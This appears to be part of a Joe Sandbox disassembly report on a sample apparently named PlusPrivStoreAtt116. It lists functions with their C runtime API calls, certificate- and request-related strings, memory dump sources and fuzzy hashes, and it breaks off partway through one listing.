Opcode Fuzzy Hash: b9627e339377f4afc09bd61a2b3bbe61811f8332dd5050806245f8fe69c5be20
Instruction Fuzzy Hash: 99B16172A08B8685EB618F26D4443F92B90EF44F9CF284535CE4D8B79ADFBC9495C320

Function 00007FF6029EE800 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EE847
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE8AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE9DF

Part of subcall function 00007FF6029DC990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF6029C3D1F), ref: 00007FF6029DC9BE

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EE8DE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EEA1D

Strings

%s?%s, xrefs: 00007FF6029EE839
Failed sending Gopher request, xrefs: 00007FF6029EE9E5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: %s?%s$Failed sending Gopher request
API String ID: 111713529-132698833
Opcode ID: 13fe5a4ff89900cde43d12d60b5a153ca477e5e697ee87ce4cce1d0f152c96a7
Instruction ID: 6e4b0e392d86afef88eb11450efe48b724db5aabc8d37eee3b46f42a86f1d282
Opcode Fuzzy Hash: 13fe5a4ff89900cde43d12d60b5a153ca477e5e697ee87ce4cce1d0f152c96a7
Instruction Fuzzy Hash: E3518621A09A8282FB519B67A4101BA6B94FF85BF8F640631DEAD877D6EE7CD441C700

Function 00007FF6029AAB80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AC27C
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AC2AA
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AC2B8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AC2F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AC343

Strings

value, xrefs: 00007FF6029AC1E8

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 6847a968dd99818818966be80c22a6ae0b7eae4d3ff03531010b536a3c6974c3
Instruction ID: bcae4b5634e72b5d4fa9cc7a6aac5cb84dc5babd21f55932d1727683d8e553f7
Opcode Fuzzy Hash: 6847a968dd99818818966be80c22a6ae0b7eae4d3ff03531010b536a3c6974c3
Instruction Fuzzy Hash: 56619162E18B8585EB10CB79E4843ED2761FF457A8F205331EA6D56ADADFBCD085C340

Function 00007FF6029A94E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AA9ED
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AAA1B
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029AAA29
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AAA63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029AAAB4

Strings

value, xrefs: 00007FF6029AA959

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 8a8ff242f02a9236229a831a3fccc6dff901718e43974036dda4f5f8c8ed984b
Instruction ID: 8baccd89499c00b8193bca3703897ca889575f0c9202278eec7f77e7949cbbf4
Opcode Fuzzy Hash: 8a8ff242f02a9236229a831a3fccc6dff901718e43974036dda4f5f8c8ed984b
Instruction Fuzzy Hash: B3619372E18B8586EB10CB65E4843ED2761EF857A8F204335EA6D56ADADFBCD085C340

Function 00007FF6029E74D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029E7506
_open.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029E755B
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029E75CC
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029E75D9
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6029E76EB

Strings

Can't open %s for writing, xrefs: 00007FF6029E756B
Can't get the size of %s, xrefs: 00007FF6029E75E2

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _close$_fstat64_openstrchr
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 423814720-3544860555
Opcode ID: e5c8fb1ec35a5549d700875c8203deee49073a84587174603ce729f0572fed4b
Instruction ID: 243670ef4faf91babf156a566aeb6a3b7151860656b822fbdb865748b892c34e
Opcode Fuzzy Hash: e5c8fb1ec35a5549d700875c8203deee49073a84587174603ce729f0572fed4b
Instruction Fuzzy Hash: 51518371B08A8281EE148B6694503F9AB91FF85BDCF644435DE4EC7396EEBCE4418301

Function 00007FF6029EF740 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029EF750
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdupstrtol
String ID: %%%02x
API String ID: 2999891020-4020994737
Opcode ID: 6a801598b4c74b21c1fa39b5fd3dd7a905dae2e9e63405a51e711a2ace6544f3
Instruction ID: d355abf94c1f8ff3878bd6578c08de82ae0ce59a806c7aed606a7d9be48a59c4
Opcode Fuzzy Hash: 6a801598b4c74b21c1fa39b5fd3dd7a905dae2e9e63405a51e711a2ace6544f3
Instruction Fuzzy Hash: AF51A022A0D68245FF628B22A0143792F91BF55798F680173DA9E86BC2FEADE545D301

Function 00007FF6029EF716 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF723
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$_strdup
String ID: %%%02x
API String ID: 1496848336-4020994737
Opcode ID: 47e6af600c9d1d346c1937aab269d8273d8af942b88f53c16fc3d7d3e07b8469
Instruction ID: 8282ae46e8c5a34d3633ae590fa99c7bcf0507e33e2d038b51f04a0ea3089ae6
Opcode Fuzzy Hash: 47e6af600c9d1d346c1937aab269d8273d8af942b88f53c16fc3d7d3e07b8469
Instruction Fuzzy Hash: 2B41B322A0D68245EF628B12A0143792FD1BF55798F280573DEDE86BC2EEADE544D310

Function 00007FF6029F747E Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F7481
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Part of subcall function 00007FF6029C0B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 111713529-517259162
Opcode ID: 4ad8c825ccfcb54f95674c0dcb7cdfa92c224264c5baeb7d6188afb13df6f0f6
Instruction ID: 72cdc5d2e9801ee6712ba2a65e71097c401eaabfac4ad52d27c88c1038056c16
Opcode Fuzzy Hash: 4ad8c825ccfcb54f95674c0dcb7cdfa92c224264c5baeb7d6188afb13df6f0f6
Instruction Fuzzy Hash: 17317491E4978248EF948B6294541FA2FA5BF05B8CF640835DE4E9775BEFBCE144C301

Function 00007FF6029A1BB0 Relevance: 12.3, APIs: 8, Instructions: 277COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6029A1D7A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A1E3D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A1E8B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A1ECB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A1F1A

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy
String ID:
API String ID: 3063020102-0
Opcode ID: 7070731933ec388b5f88244cb03a6580e00f4c7de7c89b7d91ac03e7bb34ef79
Instruction ID: daa109e1ec7d8611ccfc6a2b06206dafb41ff995ec1fe5ef8726486bd133e912
Opcode Fuzzy Hash: 7070731933ec388b5f88244cb03a6580e00f4c7de7c89b7d91ac03e7bb34ef79
Instruction Fuzzy Hash: 6CB1BF22F18B8285FB10CB66E4443AD2B61EF447A8F604635DE6D53AD6DFBCE095D380

Function 00007FF6029F756D Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 165COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
GMT, xrefs: 00007FF6029F761E
Signature Algorithm: %s, xrefs: 00007FF6029F7921
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF6029F7691

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Serial Number$Signature Algorithm
API String ID: 1294909896-599393795
Opcode ID: 9abdc7800897664ab45268b87967cada86f487af973ba71b71faca93e2bc1046
Instruction ID: a8f511b0327833f5a95bbe4cf1a238c6c82b4469a203ed35419e3e2c9dea6def
Opcode Fuzzy Hash: 9abdc7800897664ab45268b87967cada86f487af973ba71b71faca93e2bc1046
Instruction Fuzzy Hash: 1161F461A4879244EBE08B6694441FABFA4FF0578CF644436EA4DD7B9ADFBCE141C300

Function 00007FF6029F8865 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F88A8
memcpy.VCRUNTIME140 ref: 00007FF6029F88CE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F89A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Strings

Signature: %s, xrefs: 00007FF6029F89F7
Signature, xrefs: 00007FF6029F89DF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$memcpy
String ID: Signature: %s$Signature
API String ID: 901724546-1663925961
Opcode ID: 47d8be27700f296a11b72f90afc98f6705cfe901cbe2814c0c12018f30ada7c7
Instruction ID: ec8bc51afbd9fce0de605dc7ebd862891a368d56eb546576b9f4900e7ba9282d
Opcode Fuzzy Hash: 47d8be27700f296a11b72f90afc98f6705cfe901cbe2814c0c12018f30ada7c7
Instruction Fuzzy Hash: BD512812B4868246EFD8871690183BB2B91FF45BE8F240135DE6F877D6EEACE085C301

Function 00007FF6029BF7B0 Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BF7F6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BF822
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BF84E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup
String ID:
API String ID: 1169197092-0
Opcode ID: 6357a9bd726c514b9537bb7ab30b8792c16bcd5251ca2c88349b3d87cfd3c4aa
Instruction ID: 9110a0dd3cfc00dfc53d9f543214cc03dc6e132427d2734563e987a8904eef86
Opcode Fuzzy Hash: 6357a9bd726c514b9537bb7ab30b8792c16bcd5251ca2c88349b3d87cfd3c4aa
Instruction Fuzzy Hash: CE512F26A1AB8182EF56CF56F5501297BA4FF48B88B281135EF9E43B49DF38D4E1C700

Function 00007FF6029F74A7 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF6029F7559
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921
GMT, xrefs: 00007FF6029F7506

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Serial Number$Signature Algorithm
API String ID: 1294909896-3876350232
Opcode ID: d49d0fec6018ad6c37eadfc80c8b36a17024eb9138f7c190acf9ab5c99e4fe88
Instruction ID: 7625f69896fc9b7c05dfc66542af2a0acf3eed3d055c6dbb1b7216bda4806e3d
Opcode Fuzzy Hash: d49d0fec6018ad6c37eadfc80c8b36a17024eb9138f7c190acf9ab5c99e4fe88
Instruction Fuzzy Hash: 88517561E4978284EBE08B6294401FA7F61FF45B8CF684435EA4D9765BDFBCE545C300

Function 00007FF6029F8264 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F829F
memcpy.VCRUNTIME140 ref: 00007FF6029F82C5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F84D2

Strings

Public Key Algorithm, xrefs: 00007FF6029F8488
Expire Date: %s, xrefs: 00007FF6029F83F7
Public Key Algorithm: %s, xrefs: 00007FF6029F84A2
Expire Date, xrefs: 00007FF6029F83DD

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3401966785-2901970132
Opcode ID: dfcbbc16d3bd6a6aff9960da1f9d9e569395f30e8f586d22ed38cdd3c36d727d
Instruction ID: 1fffaabfb71382b58c4d1f6c6c1b872bfa31679c1dd0baf252d06f0394ca5290
Opcode Fuzzy Hash: dfcbbc16d3bd6a6aff9960da1f9d9e569395f30e8f586d22ed38cdd3c36d727d
Instruction Fuzzy Hash: 5941A365A0878244EFD58B6294441FA2BA1BF05BDCF644935DE0D9B79AEFBCE144C300

Function 00007FF6029DD240 Relevance: 11.3, APIs: 9, Instructions: 89COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD30C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD31A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD328
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD336
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD344
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD352
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD360
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD36E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029DD37C

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: cdd882aa0eb0c59bba6af1d881fe4002e072876f2fb64ac32148e530adc62b87
Instruction ID: 0a28d338a9c406a11915cbd5fba4bbcb176901444c8563eb42c61e6a4a8d0798
Opcode Fuzzy Hash: cdd882aa0eb0c59bba6af1d881fe4002e072876f2fb64ac32148e530adc62b87
Instruction Fuzzy Hash: B8413A72A08B4382E761DF22D4502793BA4FF89F98F244535DA8D93755CFB8D890E390

Function 00007FF6029BA180 Relevance: 11.3, APIs: 9, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA1FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA204
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA20E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA218
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BA222
